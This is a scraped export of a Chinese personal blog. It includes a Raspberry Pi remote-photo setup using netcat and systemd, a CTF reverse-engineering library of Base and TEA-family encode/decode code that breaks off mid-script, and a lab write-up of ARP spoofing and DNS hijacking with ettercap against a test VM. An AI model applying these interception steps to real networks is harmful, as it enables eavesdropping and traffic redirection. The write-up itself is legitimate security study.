增加多用户模式。目前程序只允许一位用户使用,在增加多用户模式会使程序的演示效果更强,这需要添加权限管理模块以及数据存储模式、日志记录模式和登录逻辑的全面重写。 添加自动保存功能。其实这个功能并不复杂,只需在用户每次执行完增加、修改、删除操作后将文件存储到一个 autosave 文件中去。但是这样做,日志的作用就会大大降低,并且在 ItemApp 类的异步方法 compose() 中重复调用 push_screen_wait() 方法会使程序出现意想不到的 bug(只有在将 compose() 方法声明为一个异步方法才能够调用 push_screen_wait() 方法,这些 bug 也许是因为作者对多线程的了解过于浅薄导致的)。 优化项目管理措施。就本项目来说,毕竟这是一项作业,将所有代码都放在一个脚本中无可厚非。但是在实际生产环境中,这样做有悖于模块化编程的原则,是一种极其愚蠢的做法:此行为不利于后期代码维护。当作者把代码写到 600 行左右(作者甚至把控制样式的 CSS 塞了进去,然而这完全没有必要,还会显得臃肿)时就已经感受到这个问题了,当作者需要添加或者修改某一个功能时,就要在文件中不停上下翻找。虽然 VSCode 可以拆分编辑器,但是为程序添加一个功能可能需要对多个模块进行修改(例如添加日志记录功能时,数据读写、登录等模块的代码都需要做出修改),依然会降低效率。这样做对于 debug 和程序出现问题后版本回溯也极不友好。 相关链接 Python3 Tetxual \u0026gt;\u0026gt; textual · PyPI Textual 文档 \u0026gt;\u0026gt; Textual Textual 讲解视频 \u0026gt;\u0026gt; Textualize - Youtube Pandoc \u0026gt;\u0026gt; Pandoc - index ","link":"https://jackgdn.github.io/post/python-%E8%AF%BE%E7%A8%8B%E8%AE%BE%E8%AE%A1/","section":"post","tags":["Python"],"title":"Python 课程设计项目报告"},{"body":"前段时间 wanqian 师傅添置了一台树莓派作为服务器连接到实验室的内网网络环境中。这台树莓派上安装了 Ubuntu 操作系统并装有一个摄像头模块,可以使用 fswebcam 命令控制摄像头拍照。不过遗憾的是,树莓派上没有图形化界面,如果想要查看图片就必须将图片传输到其他设备上;树莓派上的相机模块是反的,要是想正常查看需要将图片旋转 180°;树莓派在一个内网环境中,如果我想在宿舍里连接树莓派则需要每天交 1 元钱网费。\n拍照、旋转、上传 wanqian 师傅出于安全性的考虑,不希望我使用内网穿透控制树莓派拍照。所以,我只能让树莓派与我的云服务器单线联系。因此我想到让树莓派检测云服务器上的某个端口是否开放,若开放则自动执行拍照上传等一系列命令,所以有了下面一个脚本(路径为 /home/gdn/gwc/agwc.sh。下文为便于叙述,树莓派用 R 表示,云服务器用 S 表示,个人计算机用 PC 表示):\n1#!/bin/bash 2CONN=\u0026#39;nc -zv IP_S 8963\u0026#39; 3while true 4do 5 if $CONN ; then 6 time=$(date +\u0026#34;%Y-%m-%d_%H-%M-%S\u0026#34;) 7 fswebcam --no-banner -r 1920x1080 /home/gdn/gwc/fagwc/$time.jpg 8 convert /home/gdn/gwc/fagwc/$time.jpg -rotate 180 /home/gdn/gwc/fagwc/$time.jpg 9 nc -v IP_S 8965 \u0026lt; /home/gdn/gwc/fagwc/$time.jpg 10 fi 11 sleep 10 12done 该脚本在 R 上运行,每隔十秒钟就会检测一次 S 的 8963 端口是否开放,如果开放,则使用 fswebcam 命令拍照,使用 convert 命令(在 ImageMagisk 工具集中)旋转图片并将图片使用 netcat 传输到 S 的 8965 端口上去。由于 netcat 连接特性,开放两个端口是必需的。另外,#! 的shebang 不能缺失,因为如果我们想将它写入 .service 文件自动运行,shebang 可以告诉计算机执行该脚本的解释器是什么。\n利用 systemd 自动执行 下面的服务文件(路径为 /etc/systemd/system/agwc.service)用于自动执行该脚本:\n1[Unit] 2Description=Autonomous Gideon-watching Client 3After=NetworkManager.service 4 5[Service] 6ExecStart=/home/gdn/gwc/agwc.sh 7 8[Install] 9WantedBy=multi-user.target 有了这个脚本,前面的 agwc.sh 就会在开机后自动运行。只需执行 sudo systemctl daemon-reload 与 sudo systemctl enable agwc.service,在下次树莓派开机时,这个服务就可以自动运行了。\n配置服务器接受图片 下面需要配置服务端,需要让 S 能在我需要的时候开放端口,接收图片然后关闭端口。下面这一脚本的路径为 /home/USER_S/gdnwatch.sh\n1sudo firewall-cmd --zone=public --add-port=8963/tcp --permanent 2sudo firewall-cmd --zone=public --add-port=8965/tcp --permanent 3sudo firewall-cmd --reload 4time=$(date +\u0026#34;%Y-%m-%d_%H-%M-%S\u0026#34;) 5nc -vl 8963 \u0026amp; 6nc -vl 8965 \u0026gt; ~/pictures/$time.jpg \u0026amp; 7sleep 10 8ps aux | grep \u0026#39;nc -vl 8963\u0026#39; | grep -v grep | awk \u0026#39;{print $2}\u0026#39; | xargs kill -9 9ps aux | grep \u0026#39;nc -vl 8965\u0026#39; | grep -v grep | awk \u0026#39;{print $2}\u0026#39; | xargs kill -9 10sudo firewall-cmd --zone=public --remove-port=8963/tcp --permanent 11sudo firewall-cmd --zone=public --remove-port=8965/tcp --permanent 12sudo firewall-cmd --reload 13find ./pictures/ -size -1b -exec rm {} \\; 这一脚本在 S 上运行。脚本首先将 8963 与 8965 端口打开并监听这两个端口并等待十秒,这两个端口分别用于标志和接受文件。接收到文件后,脚本会将两个 netcat 进程关闭以便于下次能够继续使用 netcat 监听这两个端口。再然后,关闭 8963 与 8965 两个端口。在某些情况下(例如 R 没有开机),S 接收不到任何信息并创建一个空文件,这时就需要将文件大小小于 1B 的图片删除。\n传输到个人计算机上浏览图片 进行到这一步,只剩下最后一个问题没有解决,就是浏览图片。S 上没有远程桌面,我不能在 S 上查看这些图片,我只能再将图片传输到 PC 上查看。因此,我们在 PC 上创建下面这个脚本(get-pictures.cmd,在 Linux 系统上将后缀改为 .sh 同样可以运行):\n1ssh USER_S@IP_S \u0026#34;bash ~/gdnwatch.sh\u0026#34; 2sftp USER_S@IP_S:pictures/* C:\\Users\\jack_gdn\\Pictures\\Raspberry-Pi\\pictures\\ 3ssh USER_S@IP_S \u0026#34;find ~/pictures/ -name \u0026#39;*.*\u0026#39; -exec rm {} \\;\u0026#34; 这个脚本控制 S 运行 gdnwatch.sh 脚本,随后自动将图片传输回 PC,并且删除 S 上的图片缓存以节省存储空间。\n至此,我只需要在 PC 上运行 get-pictures.cmd 脚本就可以坐等图片传输回 PC 了。当然,既然使用了 SSH 与 SFTP,那么 ssh-genkey -t rsa 与 ssh-copy-id 实现免密码登录必不可少。上面这种远程拍照方式会使 S 每月额外消耗大约 170M 流量。\n","link":"https://jackgdn.github.io/post/nat/","section":"post","tags":["Linux"],"title":"远程控制一台在内网中的设备"},{"body":"","link":"https://jackgdn.github.io/tags/penetration/","section":"tags","tags":null,"title":"Penetration"},{"body":"前置知识 用较为生动的语言来讲,我们把网络类比成一间屋子,屋子里坐着的每一个人都是一台主机,每个人都有自己的编号(IP 地址)和位置(MAC 地址)。假如说屋子里的 A 需要和 B 通信,A 已知 B 的编号为 13 但是不知道 B 的位置,因此 A 无法和 B 通信。此时 A 会在屋子里大喊“谁的编号是 13”并等待 B 的回复。正常来说,除了 B 以外其他人会对 A 的请求视而不见,只有 B 收到 A 的请求后将自己的位置告诉 A,随后两人就可以开始通信。\n但是,这是出现了一个不怀好意的 C,当 A 发送请求的时候,C 就拼命地给 A 回复“我就是 13 号”以至于 A 根本听不到 B 给他的回复,因此 A 就会把 C 当作 B 并与之通信,C 便可以借机充当中间人实施攻击。\n动手尝试 攻击前准备 本次攻击尝试中,攻击机与靶机均为使用 NAT 模式连接物理机的虚拟机。这样既可以使两台虚拟机连接到外部网络,又不会在攻击过程中造成流量泄露。\n攻击机配置\n操作系统:Kali Linux IPv4 地址:192.168.107.135 MAC 地址:00:0c:29:62:a9:97 靶机配置\n操作系统:Windows 10 IPv4 地址:192.168.107.139 MAC 地址:00:0C:29:B6:7E:52 网关配置\nIPv4 地址:192.168.107.2 MAC 地址:00:50:56:f2:3a:1f 在开始攻击前,使用 arp -a 命令查看靶机 ARP 缓存中的 MAC 地址。此时,靶机中记录的 MAC 地址为正确的地址,测试用网址 example.com 也能够正常访问。\nARP 欺骗 在攻击机中使用 ettercap 工具,该工具可用于执行多种形式的中间人攻击,本次 ARP 欺骗以及 DNS 劫持都需要用到该工具。sudo ettercap -G 命令可用于打开该工具的图形化界面。\n首先扫描局域网下的存活主机,并将网关作为 Target 1, 靶机作为 Target 2:\n此时选择 ARP Poisoning 选项进行 ARP 欺骗攻击。这时再使用 arp -a 查看靶机上的 ARP 缓存就会发现,网关的 MAC 地址已经变成了攻击机的 MAC 地址。此时靶机再访问任何外界网站,流量都会首先通过攻击机。\nDNS 劫持 在进行 DNS 劫持中,ettercap 会将攻击机作为一台伪 DNS 解析服务器,向靶机发送虚假的服务器地址。首先修改 /etc/ettercap/etter.dns 文件来添加规则。例如说,我们在文件中添加一行 * A 127.0.0.1,则 ettercap 会对靶机发送的任何解析域名请求返回本机回环地址 127.0.0.1。\n修改好后,启用 ettercap 的 dns_spoof 插件进行 DNS 劫持攻击。\n这时就能发现,靶机断网了,因为任何通过域名访问外界的请求,都会被解析成 127.0.0.1。\n但是不经过域名解析,直接使用 IP 地址连接的服务器则不受影响。\n","link":"https://jackgdn.github.io/post/mitm-attack/","section":"post","tags":["Penetration"],"title":"记一次 ARP 欺骗 + DNS 劫持攻击的尝试"},{"body":"","link":"https://jackgdn.github.io/categories/%E6%B8%97%E9%80%8F/","section":"categories","tags":null,"title":"渗透"},{"body":"","link":"https://jackgdn.github.io/tags/reverse/","section":"tags","tags":null,"title":"Reverse"},{"body":"","link":"https://jackgdn.github.io/categories/%E9%80%86%E5%90%91/","section":"categories","tags":null,"title":"逆向"},{"body":" Base16 [已完成] Base32 [已完成] Base64 UUencode XXencode [已完成] Base58 (Python 实现) [已完成] TEA XTEA [已完成] XXTEA [已完成] RC4 [已完成] RC5 [队列中] SM4 [队列中] AES [队列中] DES 3DES [队列中] Blowfish [队列中] Chacha20 [队列中] Rabbit [队列中] RSA [队列中] MD5 [队列中] SHA256 [队列中] CRC32 [队列中] 有一个 IDA 插件叫做 Findcrypt, 其工作原理是寻找“关键值”,例如 TEA 加密的 DELTA、AES 加密的 S 盒、MD5 算法的状态变量。出于安全性的原因,这些值在算法里都是被规定好不能更改的。但是万恶的出题人可不管这些,如果这些值被修改,Findcrypt 就不好用了。因此我打算做这个脚本库。\n除特别说明,本文中的脚本均使用 C++ 编写,使用 VC++ 编译器,以便于在遇到“魔改”算法题目时可直接修改。\n编码 Base16 实际上 Base16 编码就是将每个字符的十六进制打印出来。但是既然是一种编码,就要考虑在题目中变表的可能。\n编码脚本:\n1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;cstring\u0026gt; 3#include \u0026lt;sstream\u0026gt; 4 5using namespace std; 6 7string dec2hex(int deci) 8{ 9\tstringstream ss; 10\tss \u0026lt;\u0026lt; hex \u0026lt;\u0026lt; deci; 11\treturn ss.str(); 12} 13 14int hex2dec_onebyte(char hexi) 15{ 16\tstringstream ss; 17\tss \u0026lt;\u0026lt; hex \u0026lt;\u0026lt; hexi; 18\tint deci; 19\tss \u0026gt;\u0026gt; deci; 20\treturn deci; 21} 22 23int main() 24{ 25\tstring table = \u0026#34;0123456789ABCDEF\u0026#34;; // 编码表 26\tchar tmp0, tmp1; 27\tint index0, index1; 28\tstring cipher = \u0026#34;\u0026#34;; 29 30\tstring message; 31\tcin \u0026gt;\u0026gt; message; 32 33\tfor (int i = 0; i \u0026lt; strlen(data(message)); i++) 34\t{ 35\ttmp0 = dec2hex(int(message[i]))[0]; 36\ttmp1 = dec2hex(int(message[i]))[1]; 37\tindex0 = hex2dec_onebyte(tmp0); 38\tindex1 = hex2dec_onebyte(tmp1); 39\tcipher = cipher + table[index0] + table[index1]; 40\t} 41 42\tcout \u0026lt;\u0026lt; cipher; 43\treturn 0; 44} 解码脚本:\n1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;cstring\u0026gt; 3#include \u0026lt;sstream\u0026gt; 4 5using namespace std; 6 7char dec2chr(int hi4bits, int lo4bits) 8{ 9\treturn char((hi4bits \u0026lt;\u0026lt; 4) + lo4bits); 10} 11 12int main() 13{ 14\tstring table = \u0026#34;0123456789ABCDEF\u0026#34;; // 编码表 15\tint tmp0, tmp1; 16\tstring message = \u0026#34;\u0026#34;; 17 18\tstring cipher; 19\tcin \u0026gt;\u0026gt; cipher; 20 21\tfor (int i = 0; i \u0026lt; strlen(data(cipher)); i += 2) 22\t{ 23\ttmp0 = table.find(cipher[i]); 24\ttmp1 = table.find(cipher[i + 1]); 25\tmessage = message + dec2chr(tmp0, tmp1); 26\t} 27 28\tcout \u0026lt;\u0026lt; message; 29\treturn 0; 30} 特征:十六位编码表。\nBase32 1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;cstring\u0026gt; 3#include \u0026lt;bitset\u0026gt; 4#include \u0026lt;cmath\u0026gt; 5 6using namespace std; 7 8string paddingeq(string cipher, string binstr) 9{ 10\tint pad = (40 - (strlen(data(binstr)) % 40)) / 5; 11\tfor (int i = 0; i \u0026lt; pad; i++) 12\t{ 13\tcipher += \u0026#39;=\u0026#39;; 14\t} 15\treturn cipher; 16} 17 18string padding0(string binstr) 19{ 20\tint pad = 5 - (strlen(data(binstr)) % 5); 21\tfor (int i = 0; i \u0026lt; pad; i++) 22\t{ 23\tbinstr += \u0026#39;0\u0026#39;; 24\t} 25\treturn binstr; 26} 27 28string str2binstr(string message) 29{ 30\tstring binstr = \u0026#34;\u0026#34;; 31\tfor (auto i : message) 32\t{ 33\tbitset\u0026lt;8\u0026gt; bits(i); 34\tbinstr += bits.to_string(); 35\t} 36\treturn binstr; 37} 38 39int main() 40{ 41\tstring table = \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZ234567\u0026#34;; // 编码表 42\tstring binstr; 43\tstring cipher = \u0026#34;\u0026#34;; 44\tint index; 45 46\tstring message; 47\tcin \u0026gt;\u0026gt; message; 48 49\tbinstr = str2binstr(message); // 转为二进制字符串 50\tif (strlen(data(binstr)) % 5 != 0) // 填充 0 51\t{ 52\tbinstr = padding0(binstr); 53\t} 54 55\tfor (int i = 0; i \u0026lt; strlen(data(binstr)); i += 5) 56\t{ 57\tindex = 0; 58\tfor (int j = 0; j \u0026lt; 5; j++) 59\t{ 60\tif (binstr[i + j] == \u0026#39;1\u0026#39;) 61\t{ 62\tindex += pow(2, 4 - j); 63\t} 64\t} 65\tcipher += table[index]; 66\t} 67 68\tif (strlen(data(cipher)) % 8 != 0) // 填充等号 69\t{ 70\tcipher = paddingeq(cipher, binstr); 71\t} 72\tcout \u0026lt;\u0026lt; cipher; 73\treturn 0; 74} 解码脚本:\n1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;cstring\u0026gt; 3#include \u0026lt;bitset\u0026gt; 4#include \u0026lt;cmath\u0026gt; 5 6using namespace std; 7 8string dec2bin(int deci) 9{ 10\tbitset\u0026lt;5\u0026gt; bina(deci); 11\treturn bina.to_string(); 12} 13 14int main() 15{ 16\tstring table = \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZ234567\u0026#34;; 17\tstring binstr = \u0026#34;\u0026#34;; 18\tstring tmp; 19\tint index; 20\tint tmpbyte; 21\tstring message = \u0026#34;\u0026#34;; 22 23\tstring cipher; 24\tcin \u0026gt;\u0026gt; cipher; 25 26\tfor (auto i : cipher) // 去除等号 27\t{ 28\tif (i == \u0026#39;=\u0026#39;) 29\t{ 30\tbreak; 31\t} 32\telse 33\t{ 34\tindex = table.find(i); 35\tbinstr += dec2bin(index); 36\t} 37\t} 38 39\tint rest = strlen(data(binstr)) % 8; // 忽略用于填充的 0 40\t41\tfor (int i = 0; i \u0026lt; strlen(data(binstr)) - rest; i += 8) 42\t{ 43\ttmpbyte = 0; 44\ttmp = binstr.substr(i, 8); // 以每组 8 bits 截取 45\tfor (int j = 0; j \u0026lt; 8; j++) 46\t{ 47\tif (tmp[j] == \u0026#39;1\u0026#39;) 48\t{ 49\ttmpbyte += pow(2, 7 - j); 50\t} 51\t} 52\tmessage += char(tmpbyte); 53\t} 54 55\tcout \u0026lt;\u0026lt; message; 56\treturn 0; 57} 特征:32 位编码表,最后可能出现多个填充字符,填充字符不超过 6 个。\nBase64 Uuencode XXencode 编码脚本:\n1#include \u0026lt;iostream\u0026gt; 2 3using namespace std; 4 5string encode_main(string message) 6{ 7\tstring cipher = \u0026#34;\u0026#34;; 8\tstring table = \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#34;; 9\tfor (int i = 0; i \u0026lt; strlen(data(message)); i += 3) 10\t{ 11\tcipher += table[(int(message[i]) \u0026gt;\u0026gt; 2) \u0026amp; 0b111111]; 12\tcipher += table[((int(message[i]) \u0026lt;\u0026lt; 4) \u0026amp; 0b110000) | (int((message[i + 1]) \u0026gt;\u0026gt; 4) \u0026amp; 0b1111)]; 13\tcipher += table[((int(message[i + 1]) \u0026lt;\u0026lt; 2) \u0026amp; 0b111100) | (int(message[i + 2]) \u0026gt;\u0026gt; 6)\u0026amp;0b11]; 14\tcipher += table[(int(message[i + 2])) \u0026amp; 0b111111]; 15\t} 16\treturn cipher; 17} 18 19string encode_sub(string message) 20{ 21\tint len = strlen(data(message)); // 剩余字符串长度 22\tstring cipher = \u0026#34;\u0026#34;; 23\tstring table = \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#34;; 24 25\tswitch (len) 26\t{ 27\tcase 1: 28\tcipher += table[(int(message[0]) \u0026gt;\u0026gt; 2) \u0026amp; 0b111111]; 29\tcipher += table[(int(message[0]) \u0026lt;\u0026lt; 4) \u0026amp; 0b110000]; 30\tcipher += \u0026#34;==\u0026#34;; 31\tbreak; 32\tcase 2: 33\tcipher += table[(int(message[0]) \u0026gt;\u0026gt; 2) \u0026amp; 0b111111]; 34\tcipher += table[((int(message[0]) \u0026lt;\u0026lt; 4) \u0026amp; 0b110000) | (int((message[1]) \u0026gt;\u0026gt; 4) \u0026amp; 0b1111)]; 35\tcipher += table[(int(message[1]) \u0026lt;\u0026lt; 2) \u0026amp; 0b111100]; 36\tcipher += \u0026#39;=\u0026#39;; 37\tbreak; 38\tdefault: 39\tbreak; 40\t} 41 42\treturn cipher; 43} 44 45int main() 46{ 47\tstring message; 48\tcin \u0026gt;\u0026gt; message; 49 50\tint mainstrlen = strlen(data(message)) - (strlen(data(message)) % 3); // 去除需要填充部分 51\tstring mainstr = message.substr(0, mainstrlen); 52\tstring cipher0 = encode_main(mainstr); // 满三字节的部分进行编码 53\t54\tstring substrg = message.substr(mainstrlen); 55\tstring cipher1 = encode_sub(substrg); // 填充等号 56 57\tstring cipher = cipher0 + cipher1; 58\tcout \u0026lt;\u0026lt; cipher; 59\treturn 0; 60} XXencode 本质上是一种变表 Base64,其编码表为 +-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz 且无需填充字符。 UUencode 的算法与 Base64 有细微差异,但在实现后也是一种 Base64 变表算法,其编码表为 !\u0026quot;#$%\u0026amp;'()*+,-./0123456789:;\u0026lt;=\u0026gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_,也无需填充字符。 Base32 也可以像 Base64 一样通过判断编码后的长度填充等号,不过那样需要做多次判断;Base64 也可以像本文中 Base32 编码的脚本一样通过模运算判断需要填充等号的数量。两种方法对比学习。\n解码脚本:\n1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;bitset\u0026gt; 3 4using namespace std; 5 6string dec2bin(int deci) 7{ 8\tbitset\u0026lt;6\u0026gt; bina(deci); 9\treturn bina.to_string(); 10} 11 12int main() 13{ 14\tstring binstr = \u0026#34;\u0026#34;; 15\tstring table = \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\u0026#34;; 16\tstring tmp; 17\tint index; 18\tint tmpbyte; 19\tstring message = \u0026#34;\u0026#34;; 20 21\tstring cipher; 22\tcin \u0026gt;\u0026gt; cipher; 23 24\tfor (auto i : cipher) 25\t{ 26\tif (i == \u0026#39;=\u0026#39;) // 去除补位等号 27\t{ 28\tbreak; 29\t} 30\telse 31\t{ 32\tindex = table.find(i); 33\tbinstr += dec2bin(index); 34\t} 35\t} 36 37\tint rest = strlen(data(binstr)) % 8; // 忽略用于填充的 0 38 39\tfor (int i = 0; i \u0026lt; strlen(data(binstr)) - rest; i += 8) 40\t{ 41\ttmpbyte = 0; 42\ttmp = binstr.substr(i, 8); // 以每组 8 bits 截取 43\tfor (int j = 0; j \u0026lt; 8; j++) 44\t{ 45\tif (tmp[j] == \u0026#39;1\u0026#39;) 46\t{ 47\ttmpbyte += pow(2, 7 - j); 48\t} 49\t} 50\tmessage += char(tmpbyte); 51\t} 52 53\tcout \u0026lt;\u0026lt; message; 54\treturn 0; 55} 这个解码脚本和 Base32 的解码脚本几乎一样,唯一区别就在 dec2bin() 函数中将 Base32 的 5 bits 一截变成 6 bits 一截。\n特征:编码表长为 64,有形如 cipher += table[((int(message[0]) \u0026lt;\u0026lt; 4) \u0026amp; 0b110000) | (int((message[1]) \u0026gt;\u0026gt; 4) \u0026amp; 0b1111)]; 这样对单个字节进行左右位移操作(需要与一些数字做按位与运算以确保只保留需要的 bits)并且最终得到长度为 6 bits 的数据。\nBase58 Base58 编码的本质是将字符串 bytes_to_long() 后进行转换为 58 进制。\n在这种需要使用进制转换的编码中,需要将文本的二进制首尾相接组成一个大数,但是 C++ 又有数据宽度的限制,我也懒得重复造大数运算的轮子,故这一脚本使用 Python 书写,其中用到的“轮子”仅有 Python 大数运算与 long_to_bytes() 函数。\nBase58 编码脚本(58 进制转换脚本):\n1from Crypto.Util.number import bytes_to_long 2 3table = \u0026#34;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz\u0026#34; # 编码表 4message = input() 5strnum = bytes_to_long(message.encode()) 6cipher = \u0026#34;\u0026#34; 7 8while strnum: # 进制转换 9 tmp = strnum % 58 10 cipher = table[tmp] + cipher 11 strnum //= 58 12 13print(cipher) 根据这个脚本,我们实际上可以轻松改出一个任意进制转换或者进制转换爆破的脚本(或者说是 BaseX 编码脚本)。\n解码脚本:\n1from Crypto.Util.number import long_to_bytes 2 3table = \u0026#34;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz\u0026#34; 4cipher = input() 5strnum = 0 6 7ciplen = len(cipher) 8for i in range(ciplen): 9 ind = table.index(cipher[ciplen - i - 1]) 10 strnum += ind * 58 ** i 11 12binstr = bin(strnum)[2::] 13 14strnum = int(binstr, 2) 15message = long_to_bytes(strnum) 16print(message.decode()) 特征:长得像进制转换。\n对称加密 TEA XTEA TEA 加密:\n1#include \u0026lt;iostream\u0026gt; 2 3using namespace std; 4 5const int DELTA = 0x9e3779b9;\t// DELTA 为常量,是 TEA 系列加密算法的重要常数,某些题目可能会悄悄修改这个值 6const int ROUNDS = 32; // 迭代轮数,TEA 加密是 32 轮,XTEA 加密是 64 轮,某些题目会在这里做手脚(QQ 是 16 轮) 7 8void teaencrypt(unsigned int* message, unsigned int* key, unsigned int* cipher) // 数据类型为无符号整型,下同,需要注意 9{ 10\tfor (int i = 0; i \u0026lt; 6; i += 2) // 跳出循环的条件改成明文长度 11\t{ 12\tunsigned int l = message[i], r = message[i + 1]; 13\tunsigned int k0 = key[0], k1 = key[1], k2 = key[2], k3 = key[3]; 14\tunsigned int sum = 0; 15\tfor (int j = 0; j \u0026lt; ROUNDS; j++) //核心加密算法 16\t{ 17\tl += ((r \u0026lt;\u0026lt; 4) + k0) ^ (r + sum) ^ ((r \u0026gt;\u0026gt; 5) + k1); 18\tr += ((l \u0026lt;\u0026lt; 4) + k2) ^ (l + sum) ^ ((l \u0026gt;\u0026gt; 5) + k3); 19\tsum += DELTA;\t20\t} 21 22\tcipher[i] = l; 23\tcipher[i + 1] = r; 24\t} 25} 26 27int main() 28{ 29\tunsigned int message[6] = { 0x378dc527, 0x2809af71, 0xb3371ac9, 0x647dbb8c, 0x45afddff, 0x36abd15d }; // 应当把这里替换成真正的明文,明文长度是 8 字节的倍数 30\tunsigned int key[4] = { 0xa96a5bc4, 0xac7afdb5, 0x7c8a1209, 0x350de6d0 }; // 应当把这里替换成真正的密钥 31\tunsigned int cipher[6] = { 0 }; // 将密文初始化为 0 32 33\tteaencrypt(message, key, cipher); 34\t35\tfor (int i = 0; i \u0026lt; 6; i++) // 以十六进制循环输出密文 36\t{ 37\tcout \u0026lt;\u0026lt; hex \u0026lt;\u0026lt; cipher[i] \u0026lt;\u0026lt; \u0026#39; \u0026#39;; 38\t} 39\t40\treturn 0; 41} TEA 解密脚本就是把核心加密算法中的三行倒着写一遍:\n1#include \u0026lt;iostream\u0026gt; 2 3using namespace std; 4 5const int DELTA = 0x9e3779b9;\t// DELTA 为常量,是 TEA 系列加密算法的重要常数,某些题目可能会悄悄修改这个值 6const int ROUNDS = 32; // 迭代轮数,TEA 加密是 32 轮,XTEA 加密是 64 轮,某些题目会在这里做手脚(QQ 是 16 轮) 7 8void teaencrypt(unsigned int* message, unsigned int* key, unsigned int* cipher) // 数据类型为无符号整型,下同,需要注意 9{ 10\tfor (int i = 0; i \u0026lt; 6; i += 2) // 跳出循环的条件改成明文长度 11\t{ 12\tunsigned int l = cipher[i], r = cipher[i + 1]; 13\tunsigned int k0 = key[0], k1 = key[1], k2 = key[2], k3 = key[3]; 14\tunsigned int sum = 0xc6ef3720; // sum 是 DELTA * ROUNDS 的结果,如果 DELTA 或 ROUNDS 变化,sum 也会变化 15\tfor (int j = 0; j \u0026lt; ROUNDS; j++) //核心解密算法,就是将加密算法倒着写一遍 16\t{ 17\tsum -= DELTA; 18\tr -= ((l \u0026lt;\u0026lt; 4) + k2) ^ (l + sum) ^ ((l \u0026gt;\u0026gt; 5) + k3); 19\tl -= ((r \u0026lt;\u0026lt; 4) + k0) ^ (r + sum) ^ ((r \u0026gt;\u0026gt; 5) + k1); 20\t} 21 22\tmessage[i] = l; 23\tmessage[i + 1] = r; 24\t} 25} 26 27int main() 28{ 29\tunsigned int cipher[6] = { 0x5ff4166b, 0x49871e4e, 0x4c64aebc, 0x90a92d2f, 0x3816c22, 0x1d233ce8 }; // 应当把这里替换成真正的密文,密文长度是 8 字节的倍数 30\tunsigned int key[4] = { 0xa96a5bc4, 0xac7afdb5, 0x7c8a1209, 0x350de6d0 }; // 应当把这里替换成真正的密钥 31\tunsigned int message[6] = { 0 }; // 明文长度和密文长度相等 32 33\tteaencrypt(message, key, cipher); 34 35\tfor (int i = 0; i \u0026lt; 6; i++) // 以十六进制循环输出明文 36\t{ 37\tcout \u0026lt;\u0026lt; hex \u0026lt;\u0026lt; message[i] \u0026lt;\u0026lt; \u0026#39; \u0026#39;; 38\t} 39 40\treturn 0; 41} XTEA 加密就是将加密迭代次数 ROUNDS 改为了 64 轮。\n特征:DELTA,以及核心算法的三行。\nXXTEA XXTEA 加密算法看起来与 TEA 加密算法截然不同:\n1#include \u0026lt;iostream\u0026gt; 2 3using namespace std; 4 5const int DELTA = 0x9e3779b9; 6 7void xxteaencrypt(unsigned int* key, unsigned int* cipher, int n) // 核心加密算法 8{ 9\tunsigned int rounds = 6 + 52 / n; // 计算加密轮数 10\tunsigned int y, z = cipher[n - 1]; 11\tunsigned int sum = 0, p, e; 12 13\twhile (rounds-- \u0026gt; 0) 14\t{ 15\tsum += DELTA; 16\te = (sum \u0026gt;\u0026gt; 2) \u0026amp; 3; 17 18\tfor (p = 0; p \u0026lt; n - 1; p++) 19\t{ 20\ty = cipher[p + 1]; 21\tz = cipher[p] += (((z \u0026gt;\u0026gt; 5 ^ y \u0026lt;\u0026lt; 2) + (y \u0026gt;\u0026gt; 3 ^ z \u0026lt;\u0026lt; 4)) ^ ((sum ^ y) + (key[(p \u0026amp; 3) ^ e] ^ z))); 22\t} 23 24\ty = cipher[0]; 25\tz = cipher[n - 1] += (((z \u0026gt;\u0026gt; 5 ^ y \u0026lt;\u0026lt; 2) + (y \u0026gt;\u0026gt; 3 ^ z \u0026lt;\u0026lt; 4)) ^ ((sum ^ y) + (key[(p \u0026amp; 3) ^ e] ^ z))); 26\t} 27} 28 29int main() 30{ 31\tunsigned int message[6] = { 0x378dc527, 0x2809af71, 0xb3371ac9, 0x647dbb8c, 0x45afddff, 0x36abd15d }; 32\tunsigned int key[4] = { 0xa96a5bc4, 0xac7afdb5, 0x7c8a1209, 0x350de6d0 }; 33\tunsigned int* cipher = message; 34\tint n = 6; // 数据块数量,用于在加密算法中计算加密轮数 35 36\txxteaencrypt(key, cipher, n); 37 38\tfor (int i = 0; i \u0026lt; 6; i++) 39\t{ 40\tcout \u0026lt;\u0026lt; hex \u0026lt;\u0026lt; cipher[i] \u0026lt;\u0026lt; \u0026#39; \u0026#39;; 41\t} 42 43\treturn 0; 44} 解密脚本:\n1#include \u0026lt;iostream\u0026gt; 2 3using namespace std; 4 5const int DELTA = 0x9e3779b9; 6 7void xxteadecrypt(unsigned int* key, unsigned int* message, int n) 8{ 9\tunsigned int rounds = 6 + 52 / n; // 计算加密轮数 10\tunsigned int y = message[0], z; 11\tunsigned int sum = rounds * DELTA, p, e; 12 13\twhile (rounds-- \u0026gt; 0) 14\t{ 15\te = (sum \u0026gt;\u0026gt; 2) \u0026amp; 3; 16 17\tfor (p = n - 1; p \u0026gt; 0; p--) 18\t{ 19\tz = message[p - 1]; 20\ty = message[p] -= (((z \u0026gt;\u0026gt; 5 ^ y \u0026lt;\u0026lt; 2) + (y \u0026gt;\u0026gt; 3 ^ z \u0026lt;\u0026lt; 4)) ^ ((sum ^ y) + (key[(p \u0026amp; 3) ^ e] ^ z))); 21\t} 22 23\tz = message[n - 1]; 24\ty = message[0] -= (((z \u0026gt;\u0026gt; 5 ^ y \u0026lt;\u0026lt; 2) + (y 